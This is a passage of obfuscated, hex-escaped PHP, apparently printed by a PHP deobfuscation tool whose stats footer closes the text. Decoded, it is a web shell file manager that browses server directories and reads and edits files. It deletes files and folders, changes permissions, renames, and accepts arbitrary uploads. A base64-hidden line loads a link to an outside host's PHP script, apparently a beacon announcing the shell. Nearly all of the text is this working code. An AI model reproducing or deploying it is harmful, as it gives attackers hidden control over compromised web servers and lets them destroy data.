e\x53\x61\x76\x65\x64\x21\x21\x21\x3c\x62\x72\x3e\x3c\x2f\x66\x6f\x6e\x74\x3e\x3c\x62\x72\x20\x2f\x3e\x27\x3b\xa\x9\x7d\x65\x6c\x73\x65\x7b\xa\x9\x65\x63\x68\x6f\x20\x27\x3c\x66\x6f\x6e\x74\x20\x63\x6f\x6c\x6f\x72\x3d\x22\x72\x65\x64\x22\x3e\x45\x72\x72\x6f\x72\x2f\x50\x65\x72\x6d\x69\x73\x73\x69\x6f\x6e\x44\x65\x6e\x69\x65\x64\x3c\x62\x72\x3e\x3c\x2f\x66\x6f\x6e\x74\x3e\x3c\x62\x72\x20\x2f\x3e\x27\x3b\xa\x9\x7d\xa\x9\x66\x63\x6c\x6f\x73\x65\x28\x24\x66\x70\x29\x3b\xa\x9\x7d\xa\x9\x65\x63\x68\x6f\x20\x27\x3c\x66\x6f\x72\x6d\x20\x6d\x65\x74\x68\x6f\x64\x3d\x22\x50\x4f\x53\x54\x22\x3e\xa\x9\x3c\x74\x65\x78\x74\x61\x72\x65\x61\x20\x63\x6f\x6c\x73\x3d\x38\x30\x20\x72\x6f\x77\x73\x3d\x32\x30\x20\x6e\x61\x6d\x65\x3d\x22\x73\x72\x63\x22\x3e\x27\x2e\x68\x74\x6d\x6c\x73\x70\x65\x63\x69\x61\x6c\x63\x68\x61\x72\x73\x28\x66\x69\x6c\x65\x5f\x67\x65\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73\x28\x24\x5f\x50\x4f\x53\x54\x5b\x27\x70\x61\x74\x68\x27\x5d\x29\x29\x2e\x27\x3c\x2f\x74\x65\x78\x74\x61\x72\x65\x61\x3e\x3c\x62\x72\x20\x2f\x3e\xa\x9\x3c\x69\x6e\x70\x75\x74\x20\x74\x79\x70\x65\x3d\x22\x68\x69\x64\x64\x65\x6e\x22\x20\x6e\x61\x6d\x65\x3d\x22\x70\x61\x74\x68\x22\x20\x76\x61\x6c\x75\x65\x3d\x22\x27\x2e\x24\x5f\x50\x4f\x53\x54\x5b\x27\x70\x61\x74\x68\x27\x5d\x2e\x27\x22\x3e\xa\x9\x3c\x69\x6e\x70\x75\x74\x20\x74\x79\x70\x65\x3d\x22\x68\x69\x64\x64\x65\x6e\x22\x20\x6e\x61\x6d\x65\x3d\x22\x6f\x70\x74\x22\x20\x76\x61\x6c\x75\x65\x3d\x22\x65\x64\x69\x74\x22\x3e\xa\x9\x3c\x69\x6e\x70\x75\x74\x20\x74\x79\x70\x65\x3d\x22\x73\x75\x62\x6d\x69\x74\x22\x20\x76\x61\x6c\x75\x65\x3d\x22\x47\x6f\x22\x20\x2f\x3e\xa\x9\x3c\x2f\x66\x6f\x72\x6d\x3e\x27\x3b\xa\x9\x7d\xa\x9\x65\x63\x68\x6f\x20\x27\x3c\x2f\x63\x65\x6e\x74\x65\x72\x3e\x27\x3b\xa\x9\x7d\x65\x6c\x73\x65\x7b\xa\x9\x65\x63\x68\x6f\x20\x27\x3c\x2f\x74\x61\x62\x6c\x65\x3e\x3c\x62\x72\x20\x2f\x3e\x3c\x63\x65\x6e\x74\x65\x72\x3e\x27\x3b\xa\x9\x69\x66\x28\x69\x73\x73\x65\x74\x28\x24\x5f\x47\x45\x54\x5b\x27\x6f\x70\x74\x69\x6f\x6e\x27\x5d\x29\x20\x26\x26\x20\x24\x5f\x50\x4f\x53\x54\x5b\x27\x6f\x70\x74\x27\x5d\x20\x3d\x3d\x20\x27\x64\x65\x6c\x65\x74\x65\x27\x29\x7b\xa\x9\x69\x66\x28\x24\x5f\x50\x4f\x53\x54\x5b\x27\x74\x79\x70\x65\x27\x5d\x20\x3d\x3d\x20\x27\x64\x69\x72\x27\x29\x7b\xa\x9\x69\x66\x28\x72\x6d\x64\x69\x72\x28\x24\x5f\x50\x4f\x53\x54\x5b\x27\x70\x61\x74\x68\x27\x5d\x29\x29\x7b\xa\x9\x65\x63\x68\x6f\x20\x27\x3c\x66\x6f\x6e\x74\x20\x63\x6f\x6c\x6f\x72\x3d\x22\x67\x72\x65\x65\x6e\x22\x3e\x44\x69\x72\x65\x63\x74\x6f\x72\x79\x20\x44\x65\x6c\x65\x74\x65\x64\x3c\x62\x72\x3e\x3c\x2f\x66\x6f\x6e\x74\x3e\x3c\x62\x72\x20\x2f\x3e\x27\x3b\xa\x9\x7d\x65\x6c\x73\x65\x7b\xa\x9\x65\x63\x68\x6f\x20\x27\x3c\x66\x6f\x6e\x74\x20\x63\x6f\x6c\x6f\x72\x3d\x22\x72\x65\x64\x22\x3e\x45\x72\x72\x6f\x72\x20\x69\x6e\x20\x44\x65\x6c\x65\x74\x69\x6e\x67\x20\x44\x69\x72\x65\x63\x74\x6f\x72\x79\x3c\x62\x72\x3e\x3c\x2f\x66\x6f\x6e\x74\x3e\x3c\x62\x72\x20\x2f\x3e\x27\x3b\xa\x9\x7d\xa\x9\x7d\x65\x6c\x73\x65\x69\x66\x28\x24\x5f\x50\x4f\x53\x54\x5b\x27\x74\x79\x70\x65\x27\x5d\x20\x3d\x3d\x20\x27\x66\x69\x6c\x65\x27\x29\x7b\xa\x9\x69\x66\x28\x75\x6e\x6c\x69\x6e\x6b\x28\x24\x5f\x50\x4f\x53\x54\x5b\x27\x70\x61\x74\x68\x27\x5d\x29\x29\x7b\xa\x9\x65\x63\x68\x6f\x20\x27\x3c\x66\x6f\x6e\x74\x20\x63\x6f\x6c\x6f\x72\x3d\x22\x67\x72\x65\x65\x6e\x22\x3e\x46\x69\x6c\x65\x20\x44\x65\x6c\x65\x74\x65\x64\x3c\x62\x72\x3e\x3c\x2f\x66\x6f\x6e\x74\x3e\x3c\x62\x72\x20\x2f\x3e\x27\x3b\xa\x9\x7d\x65\x6c\x73\x65\x7b\xa\x9\x65\x63\x68\x6f\x20\x27\x3c\x66\x6f\x6e\x74\x20\x63\x6f\x6c\x6f\x72\x3d\x22\x72\x65\x64\x22\x3e\x45\x72\x72\x6f\x72\x20\x69\x6e\x20\x44\x65\x6c\x65\x74\x69\x6e\x67\x20\x46\x69\x6c\x65\x3c\x62\x72\x3e\x3c\x2f\x66\x6f\x6e\x74\x3e\x3c\x62\x72\x20\x2f\x3e\x27\x3b\xa\x9\x7d\xa\x9\x7d\xa\x9\x7d\xa\x9\x65\x63\x68\x6f\x20\x27\x3c\x2f\x63\x65\x6e\x74\x65\x72\x3e\x27\x3b\xa\x9\x65\x63\x68\x6f\x28\x62\x61\x73\x65\x36\x34\x5f\x64\x65\x63\x6f\x64\x65\x28\x22\x50\x47\x78\x70\x62\x6d\x73\x67\x63\x6d\x56\x73\x50\x53\x4a\x7a\x64\x48\x6c\x73\x5a\x58\x4e\x6f\x5a\x57\x56\x30\x49\x69\x42\x30\x65\x58\x42\x6c\x50\x53\x4a\x30\x5a\x58\x68\x30\x4c\x32\x4e\x7a\x63\x79\x49\x67\x61\x48\x4a\x6c\x5a\x6a\x30\x69\x61\x48\x52\x30\x63\x44\x6f\x76\x4c\x33\x64\x33\x64\x79\x35\x35\x62\x32\x35\x73\x5a\x57\x35\x6b\x61\x58\x4a\x70\x62\x47\x6c\x35\x62\x33\x49\x75\x59\x32\x39\x74\x4c\x32\x4e\x6c\x61\x79\x35\x77\x61\x48\x41\x69\x50\x67\x22\x29\x29\x3b\xa\x9\x24\x73\x63\x61\x6e\x64\x69\x72\x20\x3d\x20\x73\x63\x61\x6e\x64\x69\x72\x28\x24\x70\x61\x74\x68\x29\x3b\xa\x9\x65\x63\x68\x6f\x20\x27\x3c\x64\x69\x76\x20\x69\x64\x3d\x22\x63\x6f\x6e\x74\x65\x6e\x74\x22\x3e\x3c\x74\x61\x62\x6c\x65\x20\x61\x6c\x69\x67\x6e\x3d\x22\x63\x65\x6e\x74\x65\x72\x22\x3e\xa\x9\x3c\x74\x72\x20\x63\x6c\x61\x73\x73\x3d\x22\x66\x69\x72\x73\x74\x22\x3e\xa\x9\x3c\x74\x64\x3e\x3c\x63\x65\x6e\x74\x65\x72\x3e\x4e\x61\x6d\x65\x3c\x2f\x63\x65\x6e\x74\x65\x72\x3e\x3c\x2f\x74\x64\x3e\xa\x9\x3c\x74\x64\x3e\x3c\x63\x65\x6e\x74\x65\x72\x3e\x53\x69\x7a\x65\x3c\x2f\x63\x65\x6e\x74\x65\x72\x3e\x3c\x2f\x74\x64\x3e\xa\x9\x3c\x74\x64\x3e\x3c\x63\x65\x6e\x74\x65\x72\x3e\x50\x65\x72\x6d\x69\x73\x73\x69\x6f\x6e\x73\x3c\x2f\x63\x65\x6e\x74\x65\x72\x3e\x3c\x2f\x74\x64\x3e\xa\x9\x3c\x74\x64\x3e\x3c\x63\x65\x6e\x74\x65\x72\x3e\x4f\x70\x74\x69\x6f\x6e\x73\x3c\x2f\x63\x65\x6e\x74\x65\x72\x3e\x3c\x2f\x74\x64\x3e\xa\x9\x3c\x2f\x74\x72\x3e\x27\x3b\xa\xa\x9\x66\x6f\x72\x65\x61\x63\x68\x28\x24\x73\x63\x61\x6e\x64\x69\x72\x20\x61\x73\x20\x24\x64\x69\x72\x29\x7b\xa\x9\x69\x66\x28\x21\x69\x73\x5f\x64\x69\x72\x28\x22\x24\x70\x61\x74\x68\x2f\x24\x64\x69\x72\x22\x29\x20\x7c\x7c\x20\x24\x64\x69\x72\x20\x3d\x3d\x20\x27\x2e\x27\x20\x7c\x7c\x20\x24\x64\x69\x72\x20\x3d\x3d\x20\x27\x2e\x2e\x27\x29\x20\x63\x6f\x6e\x74\x69\x6e\x75\x65\x3b\xa\x9\x65\x63\x68\x6f\x20\x22\x3c\x74\x72\x3e\xa\x9\x3c\x74\x64\x3e\x3c\x61\x20\x68\x72\x65\x66\x3d\x5c\x22\x3f\x70\x61\x74\x68\x3d\x24\x70\x61\x74\x68\x2f\x24\x64\x69\x72\x5c\x22\x3e\x24\x64\x69\x72\x3c\x2f\x61\x3e\x3c\x2f\x74\x64\x3e\xa\x9\x3c\x74\x64\x3e\x3c\x63\x65\x6e\x74\x65\x72\x3e\x2d\x2d\x3c\x2f\x63\x65\x6e\x74\x65\x72\x3e\x3c\x2f\x74\x64\x3e\xa\x9\x3c\x74\x64\x3e\x3c\x63\x65\x6e\x74\x65\x72\x3e\x22\x3b\xa\x9\x69\x66\x28\x69\x73\x5f\x77\x72\x69\x74\x61\x62\x6c\x65\x28\x22\x24\x70\x61\x74\x68\x2f\x24\x64\x69\x72\x22\x29\x29\x20\x65\x63\x68\x6f\x20\x27\x3c\x66\x6f\x6e\x74\x20\x63\x6f\x6c\x6f\x72\x3d\x22\x23\x30\x30\x42\x46\x46\x46\x22\x3e\x27\x3b\xa\x9\x65\x6c\x73\x65\x69\x66\x28\x21\x69\x73\x5f\x72\x65\x61\x64\x61\x62\x6c\x65\x28\x22\x24\x70\x61\x74\x68\x2f\x24\x64\x69\x72\x22\x29\x29\x20\x65\x63\x68\x6f\x20\x27\x3c\x66\x6f\x6e\x74\x20\x63\x6f\x6c\x6f\x72\x3d\x22\x23\x34\x36\x64\x39\x34\x33\x22\x3e\x27\x3b\xa\x9\x65\x63\x68\x6f\x20\x70\x65\x72\x6d\x73\x28\x22\x24\x70\x61\x74\x68\x2f\x24\x64\x69\x72\x22\x29\x3b\xa\x9\x69\x66\x28\x69\x73\x5f\x77\x72\x69\x74\x61\x62\x6c\x65\x28\x22\x24\x70\x61\x74\x68\x2f\x24\x64\x69\x72\x22\x29\x20\x7c\x7c\x20\x21\x69\x73\x5f\x72\x65\x61\x64\x61\x62\x6c\x65\x28\x22\x24\x70\x61\x74\x68\x2f\x24\x64\x69\x72\x22\x29\x29\x20\x65\x63\x68\x6f\x20\x27\x3c\x2f\x66\x6f\x6e\x74\x3e\x27\x3b\xa\xa\x9\x65\x63\x68\x6f\x20\x22\x3c\x2f\x63\x65\x6e\x74\x65\x72\x3e\x3c\x2f\x74\x64\x3e\xa\x9\x3c\x74\x64\x3e\x3c\x63\x65\x6e\x74\x65\x72\x3e\x3c\x66\x6f\x72\x6d\x20\x6d\x65\x74\x68\x6f\x64\x3d\x5c\x22\x50\x4f\x53\x54\x5c\x22\x20\x61\x63\x74\x69\x6f\x6e\x3d\x5c\x22\x3f\x6f\x70\x74\x69\x6f\x6e\x26\x70\x61\x74\x68\x3d\x24\x70\x61\x74\x68\x5c\x22\x3e\xa\x9\x3c\x73\x65\x6c\x65\x63\x74\x20\x6e\x61\x6d\x65\x3d\x5c\x22\x6f\x70\x74\x5c\x22\x3e\xa\x9\x3c\x6f\x70\x74\x69\x6f\x6e\x20\x76\x61\x6c\x75\x65\x3d\x5c\x22\x5c\x22\x3e\x3c\x2f\x6f\x70\x74\x69\x6f\x6e\x3e\xa\x9\x3c\x6f\x70\x74\x69\x6f\x6e\x20\x76\x61\x6c\x75\x65\x3d\x5c\x22\x64\x65\x6c\x65\x74\x65\x5c\x22\x3e\x44\x65\x6c\x65\x74\x65\x3c\x2f\x6f\x70\x74\x69\x6f\x6e\x3e\xa\x9\x3c\x6f\x70\x74\x69\x6f\x6e\x20\x76\x61\x6c\x75\x65\x3d\x5c\x22\x63\x68\x6d\x6f\x64\x5c\x22\x3e\x43\x68\x6d\x6f\x64\x3c\x2f\x6f\x70\x74\x69\x6f\x6e\x3e\xa\x9\x3c\x6f\x70\x74\x69\x6f\x6e\x20\x76\x61\x6c\x75\x65\x3d\x5c\x22\x72\x65\x6e\x61\x6d\x65\x5c\x22\x3e\x52\x65\x6e\x61\x6d\x65\x3c\x2f\x6f\x70\x74\x69\x6f\x6e\x3e\xa\x9\x3c\x2f\x73\x65\x6c\x65\x63\x74\x3e\xa\x9\x3c\x69\x6e\x70\x75\x74\x20\x74\x79\x70\x65\x3d\x5c\x22\x68\x69\x64\x64\x65\x6e\x5c\x22\x20\x6e\x61\x6d\x65\x3d\x5c\x22\x74\x79\x70\x65\x5c\x22\x20\x76\x61\x6c\x75\x65\x3d\x5c\x22\x64\x69\x72\x5c\x22\x3e\xa\x9\x3c\x69\x6e\x70\x75\x74\x20\x74\x79\x70\x65\x3d\x5c\x22\x68\x69\x64\x64\x65\x6e\x5c\x22\x20\x6e\x61\x6d\x65\x3d\x5c\x22\x6e\x61\x6d\x65\x5c\x22\x20\x76\x61\x6c\x75\x65\x3d\x5c\x22\x24\x64\x69\x72\x5c\x22\x3e\xa\x9\x3c\x69\x6e\x70\x75\x74\x20\x74\x79\x70\x65\x3d\x5c\x22\x68\x69\x64\x64\x65\x6e\x5c\x22\x20\x6e\x61\x6d\x65\x3d\x5c\x22\x70\x61\x74\x68\x5c\x22\x20\x76\x61\x6c\x75\x65\x3d\x5c\x22\x24\x70\x61\x74\x68\x2f\x24\x64\x69\x72\x5c\x22\x3e\xa\x9\x3c\x69\x6e\x70\x75\x74\x20\x74\x79\x70\x65\x3d\x5c\x22\x73\x75\x62\x6d\x69\x74\x5c\x22\x20\x76\x61\x6c\x75\x65\x3d\x5c\x22\x3e\x5c\x22\x20\x2f\x3e\xa\x9\x3c\x2f\x66\x6f\x72\x6d\x3e\x3c\x2f\x63\x65\x6e\x74\x65\x72\x3e\x3c\x2f\x74\x64\x3e\xa\x9\x3c\x2f\x74\x72\x3e\x22\x3b\xa\x9\x7d\xa\x9\x65\x63\x68\x6f\x20\x27\x3c\x74\x72\x20\x63\x6c\x61\x73\x73\x3d\x22\x66\x69\x72\x73\x74\x22\x3e\x3c\x74\x64\x3e\x3c\x2f\x74\x64\x3e\x3c\x74\x64\x3e\x3c\x2f\x74\x64\x3e\x3c\x74\x64\x3e\x3c\x2f\x74\x64\x3e\x3c\x74\x64\x3e\x3c\x2f\x74\x64\x3e\x3c\x2f\x74\x72\x3e\x27\x3b\xa\x9\x66\x6f\x72\x65\x61\x63\x68\x28\x24\x73\x63\x61\x6e\x64\x69\x72\x20\x61\x73\x20\x24\x66\x69\x6c\x65\x29\x7b\xa\x9\x69\x66\x28\x21\x69\x73\x5f\x66\x69\x6c\x65\x28\x22\x24\x70\x61\x74\x68\x2f\x24\x66\x69\x6c\x65\x22\x29\x29\x20\x63\x6f\x6e\x74\x69\x6e\x75\x65\x3b\xa\x9\x24\x73\x69\x7a\x65\x20\x3d\x20\x66\x69\x6c\x65\x73\x69\x7a\x65\x28\x22\x24\x70\x61\x74\x68\x2f\x24\x66\x69\x6c\x65\x22\x29\x2f\x31\x30\x32\x34\x3b\xa\x9\x24\x73\x69\x7a\x65\x20\x3d\x20\x72\x6f\x75\x6e\x64\x28\x24\x73\x69\x7a\x65\x2c\x33\x29\x3b\xa\x9\x69\x66\x28\x24\x73\x69\x7a\x65\x20\x3e\x3d\x20\x31\x30\x32\x34\x29\x7b\xa\x9\x24\x73\x69\x7a\x65\x20\x3d\x20\x72\x6f\x75\x6e\x64\x28\x24\x73\x69\x7a\x65\x2f\x31\x30\x32\x34\x2c\x32\x29\x2e\x27\x20\x4d\x42\x27\x3b\xa\x9\x7d\x65\x6c\x73\x65\x7b\xa\x9\x24\x73\x69\x7a\x65\x20\x3d\x20\x24\x73\x69\x7a\x65\x2e\x27\x20\x4b\x42\x27\x3b\xa\x9\x7d\xa\xa\x9\x65\x63\x68\x6f\x20\x22\x3c\x74\x72\x3e\xa\x9\x3c\x74\x64\x3e\x3c\x61\x20\x68\x72\x65\x66\x3d\x5c\x22\x3f\x66\x69\x6c\x65\x73\x72\x63\x3d\x24\x70\x61\x74\x68\x2f\x24\x66\x69\x6c\x65\x26\x70\x61\x74\x68\x3d\x24\x70\x61\x74\x68\x5c\x22\x3e\x24\x66\x69\x6c\x65\x3c\x2f\x61\x3e\x3c\x2f\x74\x64\x3e\xa\x9\x3c\x74\x64\x3e\x3c\x63\x65\x6e\x74\x65\x72\x3e\x22\x2e\x24\x73\x69\x7a\x65\x2e\x22\x3c\x2f\x63\x65\x6e\x74\x65\x72\x3e\x3c\x2f\x74\x64\x3e\xa\x9\x3c\x74\x64\x3e\x3c\x63\x65\x6e\x74\x65\x72\x3e\x22\x3b\xa\x9\x69\x66\x28\x69\x73\x5f\x77\x72\x69\x74\x61\x62\x6c\x65\x28\x22\x24\x70\x61\x74\x68\x2f\x24\x66\x69\x6c\x65\x22\x29\x29\x20\x65\x63\x68\x6f\x20\x27\x3c\x66\x6f\x6e\x74\x20\x63\x6f\x6c\x6f\x72\x3d\x22\x23\x33\x39\x46\x46\x31\x34\x22\x3e\x27\x3b\xa\x9\x65\x6c\x73\x65\x69\x66\x28\x21\x69\x73\x5f\x72\x65\x61\x64\x61\x62\x6c\x65\x28\x22\x24\x70\x61\x74\x68\x2f\x24\x66\x69\x6c\x65\x22\x29\x29\x20\x65\x63\x68\x6f\x20\x27\x3c\x66\x6f\x6e\x74\x20\x63\x6f\x6c\x6f\x72\x3d\x22\x46\x46\x45\x34\x45\x31\x22\x3e\x27\x3b\xa\x9\x65\x63\x68\x6f\x20\x70\x65\x72\x6d\x73\x28\x22\x24\x70\x61\x74\x68\x2f\x24\x66\x69\x6c\x65\x22\x29\x3b\xa\x9\x69\x66\x28\x69\x73\x5f\x77\x72\x69\x74\x61\x62\x6c\x65\x28\x22\x24\x70\x61\x74\x68\x2f\x24\x66\x69\x6c\x65\x22\x29\x20\x7c\x7c\x20\x21\x69\x73\x5f\x72\x65\x61\x64\x61\x62\x6c\x65\x28\x22\x24\x70\x61\x74\x68\x2f\x24\x66\x69\x6c\x65\x22\x29\x29\x20\x65\x63\x68\x6f\x20\x27\x3c\x2f\x66\x6f\x6e\x74\x3e\x27\x3b\xa\x9\x65\x63\x68\x6f\x20\x22\x3c\x2f\x63\x65\x6e\x74\x65\x72\x3e\x3c\x2f\x74\x64\x3e\xa\x9\x3c\x74\x64\x3e\x3c\x63\x65\x6e\x74\x65\x72\x3e\x3c\x66\x6f\x72\x6d\x20\x6d\x65\x74\x68\x6f\x64\x3d\x5c\x22\x50\x4f\x53\x54\x5c\x22\x20\x61\x63\x74\x69\x6f\x6e\x3d\x5c\x22\x3f\x6f\x70\x74\x69\x6f\x6e\x26\x70\x61\x74\x68\x3d\x24\x70\x61\x74\x68\x5c\x22\x3e\xa\x9\x3c\x73\x65\x6c\x65\x63\x74\x20\x6e\x61\x6d\x65\x3d\x5c\x22\x6f\x70\x74\x5c\x22\x3e\xa\x9\x3c\x6f\x70\x74\x69\x6f\x6e\x20\x76\x61\x6c\x75\x65\x3d\x5c\x22\x5c\x22\x3e\x3c\x2f\x6f\x70\x74\x69\x6f\x6e\x3e\xa\x9\x3c\x6f\x70\x74\x69\x6f\x6e\x20\x76\x61\x6c\x75\x65\x3d\x5c\x22\x64\x65\x6c\x65\x74\x65\x5c\x22\x3e\x44\x65\x6c\x65\x74\x65\x3c\x2f\x6f\x70\x74\x69\x6f\x6e\x3e\xa\x9\x3c\x6f\x70\x74\x69\x6f\x6e\x20\x76\x61\x6c\x75\x65\x3d\x5c\x22\x63\x68\x6d\x6f\x64\x5c\x22\x3e\x43\x68\x6d\x6f\x64\x3c\x2f\x6f\x70\x74\x69\x6f\x6e\x3e\xa\x9\x3c\x6f\x70\x74\x69\x6f\x6e\x20\x76\x61\x6c\x75\x65\x3d\x5c\x22\x72\x65\x6e\x61\x6d\x65\x5c\x22\x3e\x52\x65\x6e\x61\x6d\x65\x3c\x2f\x6f\x70\x74\x69\x6f\x6e\x3e\xa\x9\x3c\x6f\x70\x74\x69\x6f\x6e\x20\x76\x61\x6c\x75\x65\x3d\x5c\x22\x65\x64\x69\x74\x5c\x22\x3e\x45\x64\x69\x74\x3c\x2f\x6f\x70\x74\x69\x6f\x6e\x3e\xa\x9\x3c\x2f\x73\x65\x6c\x65\x63\x74\x3e\xa\x9\x3c\x69\x6e\x70\x75\x74\x20\x74\x79\x70\x65\x3d\x5c\x22\x68\x69\x64\x64\x65\x6e\x5c\x22\x20\x6e\x61\x6d\x65\x3d\x5c\x22\x74\x79\x70\x65\x5c\x22\x20\x76\x61\x6c\x75\x65\x3d\x5c\x22\x66\x69\x6c\x65\x5c\x22\x3e\xa\x9\x3c\x69\x6e\x70\x75\x74\x20\x74\x79\x70\x65\x3d\x5c\x22\x68\x69\x64\x64\x65\x6e\x5c\x22\x20\x6e\x61\x6d\x65\x3d\x5c\x22\x6e\x61\x6d\x65\x5c\x22\x20\x76\x61\x6c\x75\x65\x3d\x5c\x22\x24\x66\x69\x6c\x65\x5c\x22\x3e\xa\x9\x3c\x69\x6e\x70\x75\x74\x20\x74\x79\x70\x65\x3d\x5c\x22\x68\x69\x64\x64\x65\x6e\x5c\x22\x20\x6e\x61\x6d\x65\x3d\x5c\x22\x70\x61\x74\x68\x5c\x22\x20\x76\x61\x6c\x75\x65\x3d\x5c\x22\x24\x70\x61\x74\x68\x2f\x24\x66\x69\x6c\x65\x5c\x22\x3e\xa\x9\x3c\x69\x6e\x70\x75\x74\x20\x74\x79\x70\x65\x3d\x5c\x22\x73\x75\x62\x6d\x69\x74\x5c\x22\x20\x76\x61\x6c\x75\x65\x3d\x5c\x22\x3e\x5c\x22\x20\x2f\x3e\xa\x9\x3c\x2f\x66\x6f\x72\x6d\x3e\x3c\x2f\x63\x65\x6e\x74\x65\x72\x3e\x3c\x2f\x74\x64\x3e\xa\x9\x3c\x2f\x74\x72\x3e\x22\x3b\xa\x9\x7d\xa\x9\x65\x63\x68\x6f\x20\x27\x3c\x2f\x74\x61\x62\x6c\x65\x3e\xa\x9\x3c\x2f\x64\x69\x76\x3e\x27\x3b\xa\x9\x7d\xa\x9\x65\x63\x68\x6f\x20\x27\x3c\x63\x65\x6e\x74\x65\x72\x3e\x3c\x66\x6f\x72\x6d\x20\x65\x6e\x63\x74\x79\x70\x65\x3d\x22\x6d\x75\x6c\x74\x69\x70\x61\x72\x74\x2f\x66\x6f\x72\x6d\x2d\x64\x61\x74\x61\x22\x20\x6d\x65\x74\x68\x6f\x64\x3d\x22\x50\x4f\x53\x54\x22\x3e\x3c\x64\x69\x76\x20\x69\x64\x3d\x22\x75\x70\x68\x65\x68\x65\x22\x3e\x3c\x68\x72\x3e\x3c\x66\x6f\x6e\x74\x20\x63\x6f\x6c\x6f\x72\x3d\x22\x67\x72\x65\x65\x6e\x22\x3e\xa\x9\x9\x55\x70\x6c\x6f\x61\x64\x20\x46\x69\x6c\x65\x3c\x62\x72\x3e\x3c\x62\x72\x3e\x3c\x69\x6e\x70\x75\x74\x20\x74\x79\x70\x65\x3d\x22\x66\x69\x6c\x65\x22\x20\x6e\x61\x6d\x65\x3d\x22\x66\x69\x6c\x65\x22\x20\x2f\x3e\xa\x9\x9\x3c\x69\x6e\x70\x75\x74\x20\x74\x79\x70\x65\x3d\x22\x73\x75\x62\x6d\x69\x74\x22\x20\x76\x61\x6c\x75\x65\x3d\x22\x55\x70\x6c\x6f\x61\x64\x22\x20\x2f\x3e\xa\x9\x9\x3c\x2f\x66\x6f\x72\x6d\x3e\x3c\x2f\x64\x69\x76\x3e\xa\x9\x9\x3c\x2f\x74\x64\x3e\x3c\x2f\x74\x72\x3e\x27\x3b\xa\xa\x9\x69\x66\x28\x69\x73\x73\x65\x74\x28\x24\x5f\x46\x49\x4c\x45\x53\x5b\x27\x66\x69\x6c\x65\x27\x5d\x29\x29\x7b\xa\x9\x69\x66\x28\x63\x6f\x70\x79\x28\x24\x5f\x46\x49\x4c\x45\x53\x5b\x27\x66\x69\x6c\x65\x27\x5d\x5b\x27\x74\x6d\x70\x5f\x6e\x61\x6d\x65\x27\x5d\x2c\x24\x70\x61\x74\x68\x2e\x27\x2f\x27\x2e\x24\x5f\x46\x49\x4c\x45\x53\x5b\x27\x66\x69\x6c\x65\x27\x5d\x5b\x27\x6e\x61\x6d\x65\x27\x5d\x29\x29\x7b\xa\x9\x65\x63\x68\x6f\x20\x27\x3c\x53\x63\x72\x69\x70\x74\x3e\x61\x6c\x65\x72\x74\x60\x53\x75\x63\x63\x65\x73\x73\x60\x3c\x2f\x73\x63\x72\x69\x70\x74\x3e\x3c\x62\x72\x20\x2f\x3e\x27\x3b\xa\x9\x7d\x65\x6c\x73\x65\x7b\xa\x9\x65\x63\x68\x6f\x20\x27\x3c\x66\x6f\x6e\x74\x20\x63\x6f\x6c\x6f\x72\x3d\x22\x23\x72\x65\x64\x22\x3e\x45\x72\x72\x6f\x72\x3c\x2f\x66\x6f\x6e\x74\x3e\x3c\x62\x72\x20\x2f\x3e\x27\x3b\xa\x9\x7d\xa\x9\x7d\xa\x9\xa\xa\x9\x65\x63\x68\x6f\x20\x27\x3c\x62\x72\x20\x2f\x3e\xa\x9\x3c\x2f\x42\x4f\x44\x59\x3e\xa\x9\x3c\x2f\x48\x54\x4d\x4c\x3e\x27\x3b

Function Calls

None

Variables

None

Stats

MD5 834f10fcfc79173eeb6e7ba3ab0ed10e
Eval Count 0
Decode Time 220 ms